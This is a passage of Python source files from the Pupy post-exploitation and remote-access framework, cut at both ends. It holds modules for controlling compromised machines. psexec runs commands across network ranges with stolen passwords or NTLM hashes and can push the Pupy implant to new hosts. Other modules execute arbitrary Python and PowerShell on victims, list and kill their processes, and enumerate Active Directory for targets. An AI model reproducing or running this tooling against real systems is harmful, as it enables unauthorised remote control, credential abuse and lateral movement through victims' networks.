        cls.arg_parser.add_argument('pids', type=int, nargs='+', help='pids to kill')

    def run(self, args):
        kill = self.client.remote('os', 'kill', False)

        for pid in args.pids:
            try:
                kill(pid, args.signal)
                self.success('Killed: {} (sig={})'.format(pid, args.signal))

            except Exception as e:
                self.error('Failed: {}: {}'.format(pid, e))


================================================
FILE: pupy/modules/ps.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, TruncateToTerm, MultiPart, Table
from pupy.modules.lib import size_human_readable

import sys
import logging
import re

__class_name__ = 'PsModule'

ADMINS = (r'SYSTEM', 'root')

if sys.version_info.major > 2:
    basestring = str
    unicode = str


class Key(str):
    weights = ('id', 'key', 'PROPERTY', 'VAR', 'TYPE')

    def __lt__(self, other):
        if self not in self.weights:
            if other in self.weights:
                return False
            else:
                return str.__lt__(self, other)
        elif other not in self.weights:
            if self in self.weights:
                return True
            else:
                return str.__lt__(self, other)
        else:
            this_weight = self.weights.index(self)
            other_weight = self.weights.index(other)
            return this_weight < other_weight



def gen_colinfo(data):
    colinfo = {'pid': 0}
    for pid in data:
        pid_len = len(str(pid))
        if colinfo['pid'] < pid_len:
            colinfo['pid'] = pid_len
        for column in data[pid]:
            if '_percent' in column:
                colinfo[column] = 4
                continue

            if type(data[pid][column]) not in (basestring, int, float):
                continue

            # fix ascii encode errors
            if isinstance(data[pid][column], str):
                pass

            # Will never be here in Py3
            elif isinstance(data[pid][column], unicode):
                data[pid][column] = data[pid][column].encode('utf8', 'replace')

            elif not isinstance(data[pid][column], str):
                data[pid][column] = str(data[pid][column])

            if isinstance(data[pid][column], bytes):
                # Will never be here in Py3
                col_len = len(data[pid][column].decode('utf8', 'replace'))
            else:
                col_len = len(data[pid][column])

            if column not in colinfo:
                colinfo[column] = col_len
            else:
                if colinfo[column] < col_len:
                    colinfo[column] = col_len

    return colinfo


def to_string(value):
    if isinstance(value, unicode):
        return value
    elif not isinstance(value, str):
        return unicode(value)

    # Will never be here in Py3
    try:
        return value.decode('utf-8')
    except:
        return value.decode('latin1')


def gen_columns(record, colinfo=None):
    columns = {}

    if type(record['cmdline']) is not list:
        record['cmdline'] = [record['cmdline']]

    columns['name'] = record.get('name') or '?'
    columns['cmdline'] = ' '.join([
        x for x in record['cmdline'][1:] if x.strip()
    ]) if record.get('cmdline') else ''
    columns['exe'] = record.get('exe') or '{{{}}}'.format(columns['name'])
    columns['username'] = record.get('username') or ''
    cpu = record.get('cpu_percent')
    columns['cpu_percent'] = '{:3}%'.format(int(cpu)) if cpu is not None else ' '*4
    mem = record.get('memory_percent')
    columns['memory_percent'] = '{:3}%'.format(int(mem)) if mem is not None else ' '*4
    columns['terminal'] = record.get('terminal') or ''

    if 'pid' not in record:
        return columns

    if colinfo:
        if 'username' in colinfo:
            username = columns['username']
            if isinstance(username, bytes):
                username = username.decode('utf-8')
            columns['username'] = u'{{:{}}}'.format(colinfo['username']).format(username)

        if 'terminal' in colinfo and colinfo['terminal']:
            terminal = columns['terminal']
            if isinstance(terminal, bytes):
                terminal = terminal.decode('utf-8')
            columns['terminal'] = u'{{:{}}}'.format(colinfo['terminal']).format(terminal)

        columns['pid'] = '{{:{}}}'.format(colinfo['pid']).format(record['pid'])
    else:
        columns['pid'] = '{}'.format(record['pid'])

    return columns

def gen_output_line(columns, info, record, wide=False):
    cpu = record.get('cpu_percent') or 0
    mem = record.get('memory_percent') or 0

    if record.get('self'):
        color = "green"
    elif record.get('status') == 'stopped':
        color = "darkgrey"
    elif cpu > 70 or mem > 50:
        color = "red"
    elif record.get('username') in ADMINS:
        if record.get('connections'):
            color = "magenta"
        else:
            color = "yellow"
    elif record.get('connections'):
        color = "cyan"
    elif not record.get('same_user'):
        color = "grey"
    else:
        color = None

    template = u' '.join(u'{{{}}}'.format(x) for x in info)
    columns = {k:to_string(v) for k,v in columns.items()}

    if 'status' not in columns:
        columns['status'] = ''

    output = template.format(**columns)

    if color:
        output = Color(output, color)

    if not wide:
        output = TruncateToTerm(output)

    return output

def print_psinfo(fout, families, socktypes, data, colinfo, sections=[], wide=False):
    parts = []

    for pid, info in data.items():
        if sections is not None:
            infosecs = {
                'general': []
            }
            for prop, value in info.items():
                if type(value) not in (list, dict):
                    infosecs['general'].append({
                        'PROPERTY': prop,
                        'VALUE': '{:3}%'.format(int(value)) if ('_percent' in prop) else value
                    })
                else:
                    if prop == 'environ':
                        infosecs[prop] = [{
                            'VAR':x, 'VALUE':y
                        } for x,y in value.items()]
                        continue
                    elif prop == 'connections':
                        newvalue = []
                        for connection in value:
                            newvalue.append({
                                'status': connection['status'],
                                'raddr': ':'.join([str(x) for x in connection['raddr']]),
                                'laddr': ':'.join([str(x) for x in connection['laddr']]),
                                'family': families[connection['family']],
                                'type': socktypes[connection['type']],
                            })

                        infosecs[prop] = newvalue
                        continue
                    elif prop == 'memory_maps':
                        filtered = ('path', 'rss', 'size')
                    elif prop == 'memory_info':
                        infosecs[prop] = [{
                            'TYPE':item['KEY'], 'SIZE':size_human_readable(item['VALUE'])
                        } for item in value]
                        continue
                    else:
                        filtered = None

                    infosecs[prop] = [{
                        k:v for k,v in item.items() if filtered is None or k in filtered
                    } for item in (value if type(value) == list else [value])]

            if sections:
                for section in sections:
                    section = section.lower()
                    if section in infosecs:
                        labels = sorted(Key(x) for x in infosecs[section][0])
                        parts.append(
                            TruncateToTerm(
                                Table(
                                    infosecs[section],
                                    labels,
                                    Color(section.upper(), 'yellow'))))

            else:
                for section, table in infosecs.items():
                    if table:
                        labels = sorted(Key(x) for x in table[0])
                        parts.append(TruncateToTerm(Table(
                            table, labels, Color(section.upper(), 'yellow'))))

            fout(MultiPart(parts))

        else:
            outcols = ['pid'] + [
                x for x in (
                    'terminal', 'cpu_percent', 'memory_percent', 'username',
                    'exe', 'name', 'cmdline', 'status'
                ) if x in colinfo
            ]
            info['pid'] = pid
            columns = gen_columns(info, colinfo)

            fout(gen_output_line(columns, outcols, info, wide))


def is_filtered(pid, columns, hide, show):
    default_deny = False

    if not hide and not show:
        return False

    if not hide and show:
        default_deny = True
    if not show and hide:
        default_deny = False

    deny = default_deny

    name     = columns['name']
    username = columns['username']
    exe      = columns['exe']
    cmd      = columns['cmdline']

    for hide_rule in hide:
        if type(hide_rule) == int:
            if hide_rule == pid:
                deny = True
        elif any(hide_rule.match(x) for x in [exe, name, cmd, username]):
            deny = True

    for show_rule in show:
        if type(show_rule) == int:
            if show_rule == pid:
                deny = False
        elif any(show_rule.match(x) for x in [exe, name, cmd, username]):
            deny = False

    return deny

def check_tree_show(pid, data, show, tree):
    columns = gen_columns(data[pid])
    if data[pid].get('show', None) or not is_filtered(pid, columns, [], show):
        data[pid]['show'] = True
        return True

    for child in tree.get(pid, []):
        columns = gen_columns(data[child])
        if data[child].get('show', None) or not is_filtered(child, columns, [], show):
            data[pid]['show'] = True
            return True

    for child in tree.get(pid, []):
        if not data[pid].get('show', None) is False:
            if check_tree_show(child, data, show, tree):
                data[pid]['show'] = True
                data[child]['show'] = True
                return True
            else:
                data[child]['show'] = False

    data[pid]['show'] = False
    return False

def print_pstree(fout, parent, tree, data,
                      prefix='', indent='', colinfo={},
                      info=['exe', 'cmdline'], hide=[], show=[],
                      first=False, wide=False):
    if parent in data:
        data[parent]['pid'] = parent
        columns = gen_columns(data[parent], colinfo)

        if is_filtered(parent, columns, hide, []):
            return

        if show and not check_tree_show(parent, data, show, tree):
            return

        columns['prefix'] = prefix

        before_tree = [
            x for x in info if x in (
                'terminal', 'cpu_percent', 'memory_percent', 'username'
            )
        ]

        after_tree = [
            x for x in info if x in ('exe', 'name', 'cmdline')
        ]

        outcols = ['pid'] + before_tree + ['prefix'] + after_tree

        output = gen_output_line(columns, outcols, data[parent], wide)

        fout(output)

    if parent not in tree:
        return

    children = tree[parent][:-1]

    for child in children:
        print_pstree(
            fout, child, tree, data,
            prefix=indent+('┌' if first else '├'), indent=indent + '│ ',
            colinfo=colinfo, info=info, hide=hide, show=show, wide=wide
        )
        first = False

    child = tree[parent][-1]
    print_pstree(
        fout, child, tree, data,
        prefix=indent+'└', indent=indent + '  ',
        colinfo=colinfo,
        info=info, hide=hide, show=show, wide=wide
    )

def print_ps(fout, data, colinfo={},
                 info=['exe', 'cmdline'], hide=[], show=[], wide=False):

    outcols = ['pid'] + [
        x for x in info if x in (
            'terminal', 'cpu_percent', 'memory_percent', 'username',
            'exe', 'name', 'cmdline'
        )
    ]

    for process in sorted(data):
        data[process]['pid'] = process
        columns = gen_columns(data[process], colinfo)

        if is_filtered(process, columns, hide, show):
            continue

        fout(gen_output_line(
            columns, outcols, data[process], wide))


@config(cat="admin")
class PsModule(PupyModule):
    """ list processes """

    dependencies = ['pupyps']
    is_module = False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="ps", description=cls.__doc__)
        cls.arg_parser.add_argument('--tree', '-t', action='store_true', help='draw tree')
        cls.arg_parser.add_argument('-i', '--info', action='store_true', help='print more info')
        cls.arg_parser.add_argument('-I', '--info-sections', nargs='*',
                                         default=None, help='print info for sections (-s only)')
        cls.arg_parser.add_argument('-a', '--all', action='store_true', help='show kthread')
        cls.arg_parser.add_argument('-w', '--wide', action='store_true', help='show all arguments')
        cls.arg_parser.add_argument('-x', '--hide', nargs='+', default=[],
                                     help='hide processes by pid/name/exe (regex)')
        filtering = cls.arg_parser.add_mutually_exclusive_group()
        filtering.add_argument('-s', '--show', nargs='+', default=[],
                                         help='show process info (or subtree) by pid/name/exe (regex)')
        filtering.add_argument('-S', '--show-pid', nargs='+', type=int, default=[],
                                         help='show extended process info (or subtree) by pid')

    def run(self, args):
        psinfo = self.client.remote('pupyps', 'psinfo')
        pstree = self.client.remote('pupyps', 'pstree')

        families = {
            int(k):v for k,v in self.client.remote_const(
                'pupyps', 'families'
            ).items()
        }

        socktypes = {
            int(k):v for k,v in self.client.remote_const(
                'pupyps', 'socktypes'
            ).items()
        }

        if args.show_pid and not args.tree:
            data = psinfo(args.show_pid)
        else:
            root, tree, data = pstree()
            tree = {
                int(k):v for k,v in tree.items()
            }

        data = {
            int(k):v for k,v in data.items()
        }

        colinfo = gen_colinfo(data)

        try:
            info = ['exe', 'cmdline']
            hide = [
                int(x) if x.isdigit() else re.compile(x, re.IGNORECASE) for x in args.hide
            ]
            show = [
                int(x) if x.isdigit() else re.compile(x, re.IGNORECASE) for x in args.show
            ]

            if not args.all and not args.show and (
                    self.client.is_linux() or self.client.is_android()
            ):
                hide.append(2)

            if args.info:
                info = ['username', 'terminal', 'cpu_percent', 'memory_percent'] + info

            if args.tree:
                print_pstree(
                    self.log, root, tree, data,
                    colinfo=colinfo, info=info,
                    hide=hide, show=show,
                    first=True, wide=args.wide
                )
            else:
                if args.show_pid:
                    print_psinfo(
                        self.log, families, socktypes, data, colinfo,
                        sections=args.info_sections or (
                            ['general'] if args.info else args.info_sections
                        ),
                        wide=args.wide
                    )
                else:
                    data = {
                        x:y for x,y in data.items() if x in args.show_pid
                    } if args.show_pid else data

                    print_ps(
                        self.log, data,
                        colinfo=colinfo, info=info, hide=hide, show=show,
                        wide=args.wide
                    )

        except Exception as e:
            logging.exception(e)


================================================
FILE: pupy/modules/psexec.py
================================================
# -*- coding: utf-8 -*-
# Author: byt3bl33d3r and Shawn Evans
# Version used from the "rewrite" branch of smbexec written by byt3bl33d3r

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_STREAM
)
from netaddr import IPNetwork
from threading import Event
from pupy.modules.lib.windows import powerloader

__class_name__ = "PSExec"

@config(cat="admin")
class PSExec(PupyModule):
    """ Launch remote commands using smbexec or wmiexec"""

    dependencies = [
        'unicodedata', 'idna', 'encodings.idna',
        'impacket', 'ntpath',
        'calendar', 'pupyutils.psexec'
    ]

    io = REQUIRE_STREAM

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="psexec", description=cls.__doc__)
        cls.arg_parser.add_argument("-u", metavar="USERNAME", dest='user', default='',
                                    help="Username, if omitted null session assumed")
        cls.arg_parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
        cls.arg_parser.add_argument("-c", metavar="CODEPAGE", dest='codepage', default='cp437', help="Codepage")
        cls.arg_parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
        cls.arg_parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP",
                                    help="Domain name (default WORKGROUP)")
        cls.arg_parser.add_argument("-S", dest='noout', action='store_true', help="Do not wait for command output")
        cls.arg_parser.add_argument("-T", metavar="TIMEOUT", dest='timeout', default=30, type=int,
                                    help="Try to set this timeout")
        cls.arg_parser.add_argument("--port", dest='port', type=int, default=445,
                                    help="SMB port (default 445)")
        cls.arg_parser.add_argument("target", nargs=1, type=str, help="The target range or CIDR identifier")

        sgroup = cls.arg_parser.add_argument_group("Command Execution", "Options for executing "
                                                                        "commands on the specified host")
        sgroup.add_argument('-execm', choices={"smbexec", "wmi"}, dest="execm", default="wmi",
                            help="Method to execute the command (default: wmi)")
        sgroup.add_argument(
            "-v", "--verbose", action='store_true', default=False, help="Print information messages")
        sgroup.add_argument(
            "-x", metavar="COMMAND", dest='command',
            help='Execute a command. Use pupy64/pupy86 for .NET loader. '
            'WARNING! There is no autodetection')

    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        psexec = self.client.remote('pupyutils.psexec', 'psexec', False)

        completions = []

        for host in hosts:
            if args.command in ('pupy86', 'pupy32', 'pupy64'):
                _, completion = powerloader.serve(
                    self, self.client.get_conf(),
                    host=str(host),
                    port=args.port,
                    user=args.user,
                    domain=args.domain,
                    password=args.passwd,
                    ntlm=args.hash,
                    execm=args.execm,
                    timeout=args.timeout,
                    arch='x64' if args.command == 'pupy64' else 'x86'
                )

                if completion:
                    completions.append(completion)

                continue

            completion = Event()

            def _on_data(data):
                if args.verbose:
                    self.log(u'{}:{}: {}'.format(host, args.port, data))
                else:
                    self.stdout.write(data)

            def _on_complete(message):
                try:
                    if message:
                        self.error(message)
                    elif message and args.verbose:
                        self.info('Completed')
                finally:
                    completion.set()

            psexec(
                str(host), args.port,
                args.user,  args.domain,
                args.passwd, args.hash,
                args.command,
                args.execm,
                args.codepage,
                args.timeout, not args.noout,
                None, _on_data, _on_complete,
                args.verbose
            )

            completions.append(completion)

        if completions:
            if args.verbose:
                self.info('Wait for completions')
            for completion in completions:
                if not completion.is_set():
                    completion.wait()


================================================
FILE: pupy/modules/psh.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from os import path
from io import open
from argparse import REMAINDER

from pupy.network.lib.rpc import GenericException

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__ = 'PowershellManager'


@config(compat='windows', category='admin')
class PowershellManager(PupyModule):
    ''' Load/Execute Powershell scripts '''

    dependencies = {
        'windows': ['powershell']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='psh', description=cls.__doc__
        )

        commands = cls.arg_parser.add_subparsers(title='actions')
        loaded = commands.add_parser('loaded', help='List preapred powershell contexts')
        loaded.add_argument('context', nargs='?', help='Check is context with specified name loaded')
        loaded.set_defaults(name='loaded')

        load = commands.add_parser('load', help='Create new powershell context or load more scripts into existing')
        load.add_argument('-F', '--force', action='store_true', default=False, help='Destroy old context if exists')
        load.add_argument('-64', '--try-64', action='store_true', default=False, help='Try amd64 if possible')
        load.add_argument('-2', '--try-v2', action='store_true', default=None, help='Try version 2 if possible')
        load.add_argument('-W', '--width', default=-1, type=int, help='Set output line width')
        load.add_argument('-D', '--daemon', action='store_true', default=False, help='Start in "daemon" mode')
        load.add_argument('context', help='Context name')
        load.add_argument('source', nargs='?', help='Path to PS1 script (local to pupy)')
        load.set_defaults(name='load')

        iex = commands.add_parser('iex', help='Invoke expression in context')
        iex.add_argument('-T', '--timeout', default=None, type=float, help='Set timeout for result retrieval')
        iex.add_argument('-B', '--background', default=False, action='store_true',
                         help='Evaluate in background (async)')
        iex.add_argument('context', help='Context name')
        iex.add_argument('expression', nargs=REMAINDER, help='Expression to evaluate')
        iex.set_defaults(name='iex')

        unload = commands.add_parser('unload', help='Destroy context')
        unload.add_argument('context', help='Context name')
        unload.set_defaults(name='unload')

        result = commands.add_parser('result', help='Retrieve result by request id from context')
        result.add_argument('context', help='Context name')
        result.add_argument('rid', type=int, help='Request id')
        result.set_defaults(name='result')

        results = commands.add_parser('results', help='Retrieve ready RIDs from all contexts')
        results.set_defaults(name='results')

        killall = commands.add_parser('killall', help='Destroy all powershell contexts')
        killall.set_defaults(name='killall')

    def run(self, args):
        loaded = self.client.remote('powershell', 'loaded')

        if args.name == 'loaded':
            if args.context:
                if loaded(args.context):
                    self.success('{} is loaded'.format(args.context))
                else:
                    self.error('{} is not loaded'.format(args.context))
            else:
                contexts = loaded()
                for context in contexts:
                    self.success('{}'.format(context))

        elif args.name == 'load':
            load = self.client.remote('powershell', 'load')
            content = ''
            if args.source:
                script = path.expandvars(path.expanduser(args.source))
                if not path.exists(script):
                    self.error('Script file not found: {}'.format(script))
                    return

                with open(script) as input:
                    content = input.read()

            if args.width == -1:
                args.width, _ = self.iogroup.consize

            try:
                load(
                    args.context, content, args.force, args.try_64,
                    args.daemon, args.width, args.try_v2
                )
            except Exception as e:
                self.error('load: {}'.format(e))

        elif args.name == 'iex':
            expression = ' '.join(args.expression)
            call = self.client.remote('powershell', 'call')

            if not loaded(args.context):
                self.error('Context {} is not loaded'.format(args.context))
                return

            if not expression:
                self.warning('Empty expression')
                return

            try:
                result = call(
                    args.context, expression, timeout=args.timeout, nowait=args.background
                )

                if args.background:
                    self.warning('Queued: Context: {} RID: {}'.format(args.context, result))
                else:
                    output, rest = result

                    if rest:
                        self.warning(rest)
                    if output:
                        self.log(output)

            except GenericException as e:
                if type(e).__name__ == 'powershell.PowershellTimeout':
                    self.error('iex: timeout: Context: {} RID: {}'.format(args.context, e.args[0]))
                else:
                    self.error('iex: {}'.format(e))

            except Exception as e:
                self.error('iex: {}'.format(e))

        elif args.name == 'unload':
            unload = self.client.remote('powershell', 'unload')

            try:
                unload(args.context)
            except Exception as e:
                self.error('unload: {}'.format(e))

        elif args.name == 'result':
            get_result = self.client.remote('powershell', 'result')

            result = get_result(args.context, args.rid)
            if not result:
                self.error('Result {} does not exists in {}'.format(args.rid, args.context))
            else:
                output, rest = result
                if rest:
                    self.warning(rest)
                if output:
                    self.log(output)

        elif args.name == 'results':
            get_results = self.client.remote('powershell', 'get_results')

            if not loaded():
                self.error('No scripts loaded')
                return

            results = get_results()
            objects = [
                {
                    'CONTEXT': ctx,
                    'RIDS': ', '.join([str(x) for x in rids])
                } for ctx, rids in results.items()
            ]
            self.table(objects, ['CONTEXT', 'RIDS'])

        elif args.name == 'killall':
            stop = self.client.remote('powershell', 'stop', False)
            stop()


================================================
FILE: pupy/modules/pwd.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyArgumentParser, PupyModule

if sys.version_info.major > 2:
    getcwd = 'getcwd'
    basestring = str
else:
    getcwd = 'getcwdu'

__class_name__ = 'pwd'


@config(cat="admin")
class pwd(PupyModule):
    """ Get current working dir """
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="pwd", description=cls.__doc__)

    def run(self, args):
        try:
            rgetcwd = self.client.remote('os', getcwd, False)
            self.success(rgetcwd())
        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/pyexec.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_STREAM
)

from pupy.pupylib.PupyErrors import PupyModuleError
from pupy.pupylib.PupyCompleter import path_completer
from pupy.pupylib.utils.rpyc_utils import redirected_stdio

__class_name__="PythonExec"


@config(cat="admin")
class PythonExec(PupyModule):
    """ execute python code on a remote system """

    io = REQUIRE_STREAM

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='pyexec', description=cls.__doc__)
        cls.arg_parser.add_argument('--file', metavar="<path>", completer=path_completer, help="execute code from .py file")
        cls.arg_parser.add_argument('-R', '--no-redirected-stdio', action='store_true', default=False, help="Do not redirect stdio (no output)")
        cls.arg_parser.add_argument('-c','--code', metavar='<code string>', help="execute python oneliner code. ex : 'import platform;print platform.uname()'")

    def run(self, args):
        code=""
        if args.file:
            self.info("loading code from %s ..."%args.file)
            with open(args.file,'r') as f:
                code = f.read()
        elif args.code:
            code = args.code
        else:
            raise PupyModuleError("--code or --file argument is mandatory")

        if args.no_redirected_stdio:
            self.client.conn.execute(code+"\n")
        else:
            with redirected_stdio(self):
                self.client.conn.execute(code+"\n")


================================================
FILE: pupy/modules/pyshell.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file
# at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_REPL
)

from pupy.pupylib.utils.rpyc_utils import redirected_stdo
from pupy.network.lib.convcompat import as_native_string

import sys
import readline

if sys.version_info.major > 2:
    raw_input = input


__class_name__ = 'InteractivePythonShell'


def enqueue_output(out, queue):
    for c in iter(lambda: out.read(1), b""):
        queue.put(c)


@config(cat="admin")
class InteractivePythonShell(PupyModule):
    """ open an interactive python shell on the remote client """

    io = REQUIRE_REPL
    dependencies = ['pyshell']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='pyshell', description=cls.__doc__
        )

    def run(self, args):
        PyShellController = self.client.remote(
            'pyshell.controller', 'PyShellController', False
        )

        try:
            with redirected_stdo(self):
                old_completer = readline.get_completer()

                try:
                    psc = PyShellController()
                    completer = psc.get_completer()

                    def _completer_wrapper(*args, **kwargs):
                        value = completer(*args, **kwargs)
                        if value is not None:
                            return as_native_string(value)

                    readline.set_completer(_completer_wrapper)
                    readline.parse_and_bind('tab: complete')

                    while True:
                        cmd = raw_input(">>> ")
                        psc.write(cmd)

                finally:
                    readline.set_completer(old_completer)
                    readline.parse_and_bind('tab: complete')

        except (EOFError, KeyboardInterrupt):
            self.log('pyshell closed')


================================================
FILE: pupy/modules/pywerview.py
================================================
# -*- coding: utf-8 -*-
# Author: the-useless-one
# Project: https://github.com/the-useless-one/pywerview

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from argparse import FileType

__class_name__="Pywerview"

@config(cat="gather", compat="windows")
class Pywerview(PupyModule):
    """ Rewriting of some PowerView's functionalities in Python """

    dependencies=["pywerview", "impacket", "calendar", "bs4", "pdb", "cmd", "bdb", "repr", "pprint", "htmlentitydefs", "HTMLParser", "markupbase", "OpenSSL"]
    max_clients=1

    @classmethod
    def init_argparse(cls):

        # changes from original main :
        #      - argparse.ArgumentParser to PupyArgumentParser
        #      - parser to cls.arg_parser
        #      - function name to string (ex: func=get_adobject to func="get_adobject")

        cls.arg_parser = PupyArgumentParser(description='Rewriting of some PowerView\'s functionalities in Python')
        subparsers = cls.arg_parser.add_subparsers(title='Subcommands', description='Available subcommands')

        # TODO: support keberos authentication
        # Credentials parser
        credentials_parser = PupyArgumentParser(add_help=False)
        credentials_parser.add_argument('-w', '--workgroup', dest='domain',
                default=str(), help='Name of the domain we authenticate with')
        credentials_parser.add_argument('-u', '--user', required=True,
                help='Username used to connect to the Domain Controller')
        credentials_parser.add_argument('-p', '--password', default=str(),
                help='Password associated to the username')
        credentials_parser.add_argument('--hashes', action='store', metavar = 'LMHASH:NTHASH',
                help='NTLM hashes, format is LMHASH:NTHASH')

        # AD parser, used for net* functions running against a domain controller
        ad_parser = PupyArgumentParser(add_help=False, parents=[credentials_parser])
        ad_parser.add_argument('-t', '--dc-ip', dest='domain_controller',
                required=True, help='IP address of the Domain Controller to target')

        # Target parser, used for net* functions running against a normal computer
        target_parser = PupyArgumentParser(add_help=False, parents=[credentials_parser])
        target_parser.add_argument('--computername', dest='target_computername',
                required=True, help='IP address of the computer target')

        # Parser for the get-adobject command
        get_adobject_parser= subparsers.add_parser('get-adobject', help='Takes a domain SID, '\
            'samAccountName or name, and return the associated object', parents=[ad_parser])
        get_adobject_parser.add_argument('--sid', dest='queried_sid',
                help='SID to query (wildcards accepted)')
        get_adobject_parser.add_argument('--sam-account-name', dest='queried_sam_account_name',
                help='samAccountName to query (wildcards accepted)')
        get_adobject_parser.add_argument('--name', dest='queried_name',
                help='Name to query (wildcards accepted)')
        get_adobject_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_adobject_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_adobject_parser.set_defaults(func="get_adobject")

        # Parser for the get-netuser command
        get_netuser_parser= subparsers.add_parser('get-netuser', help='Queries information about '\
            'a domain user', parents=[ad_parser])
        get_netuser_parser.add_argument('--username', dest='queried_username',
                help='Username to query (wildcards accepted)')
        get_netuser_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netuser_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_netuser_parser.add_argument('--unconstrained', action='store_true',
                help='Query only users with unconstrained delegation')
        get_netuser_parser.add_argument('--admin-count', action='store_true',
                help='Query only users with adminCount=1')
        get_netuser_parser.add_argument('--allow-delegation', action='store_true',
                help='Return user accounts that are not marked as \'sensitive and not allowed for delegation\'')
        get_netuser_parser.add_argument('--spn', action='store_true',
                help='Query only users with not-null Service Principal Names')
        get_netuser_parser.set_defaults(func='get_netuser')

        # Parser for the get-netgroup command
        get_netgroup_parser= subparsers.add_parser('get-netgroup', help='Get a list of all current '\
            'domain groups, or a list of groups a domain user is member of', parents=[ad_parser])
        get_netgroup_parser.add_argument('--groupname', dest='queried_groupname',
                default='*', help='Group to query (wildcards accepted)')
        get_netgroup_parser.add_argument('--sid', dest='queried_sid',
                help='Group SID to query')
        get_netgroup_parser.add_argument('--username', dest='queried_username',
                help='Username to query: will list the groups this user is a member of (wildcards accepted)')
        get_netgroup_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netgroup_parser.add_argument('-a', '--ads-path', dest='ads_path',
                help='Additional ADS path')
        get_netgroup_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the groups, otherwise, just the samAccountName')
        get_netgroup_parser.add_argument('--admin-count', action='store_true',
                help='Query only users with adminCount=1')
        get_netgroup_parser.set_defaults(func='get_netgroup')

        # Parser for the get-netcomputer command
        get_netcomputer_parser= subparsers.add_parser('get-netcomputer', help='Queries informations about '\
            'domain computers', parents=[ad_parser])
        get_netcomputer_parser.add_argument('--computername', dest='queried_computername',
                default='*', help='Computer name to query')
        get_netcomputer_parser.add_argument('-os', '--operating-system', dest='queried_os',
                help='Return computers with a specific operating system (wildcards accepted)')
        get_netcomputer_parser.add_argument('-sp', '--service-pack', dest='queried_sp',
                help='Return computers with a specific service pack (wildcards accepted)')
        get_netcomputer_parser.add_argument('-spn', '--service-principal-name', dest='queried_spn',
                help='Return computers with a specific service principal name (wildcards accepted)')
        get_netcomputer_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netcomputer_parser.add_argument('-a', '--ads-path', dest='ads_path',
                help='Additional ADS path')
        get_netcomputer_parser.add_argument('--printers', action='store_true',
                help='Query only printers')
        get_netcomputer_parser.add_argument('--unconstrained', action='store_true',
                help='Query only computers with unconstrained delegation')
        get_netcomputer_parser.add_argument('--ping', action='store_true',
                help='Ping computers (will only return up computers)')
        get_netcomputer_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the groups, otherwise, just the dnsHostName')
        get_netcomputer_parser.set_defaults(func='get_netcomputer')

        # Parser for the get-netdomaincontroller command
        get_netdomaincontroller_parser= subparsers.add_parser('get-netdomaincontroller', help='Get a list of '\
            'domain controllers for the given domain', parents=[ad_parser])
        get_netdomaincontroller_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netdomaincontroller_parser.set_defaults(func='get_netdomaincontroller')

        # Parser for the get-netfileserver command
        get_netfileserver_parser= subparsers.add_parser('get-netfileserver', help='Return a list of '\
            'file servers, extracted from the domain users\' homeDirectory, scriptPath, and profilePath fields', parents=[ad_parser])
        get_netfileserver_parser.add_argument('--target-users', nargs='+',
                metavar='TARGET_USER', help='A list of users to target to find file servers (wildcards accepted)')
        get_netfileserver_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netfileserver_parser.set_defaults(func='get_netfileserver')

        # Parser for the get-dfsshare command
        get_dfsshare_parser= subparsers.add_parser('get-dfsshare', help='Return a list of '\
            'all fault tolerant distributed file systems for a given domain', parents=[ad_parser])
        get_dfsshare_parser.add_argument('-d', '--domain', dest='queried_domain',
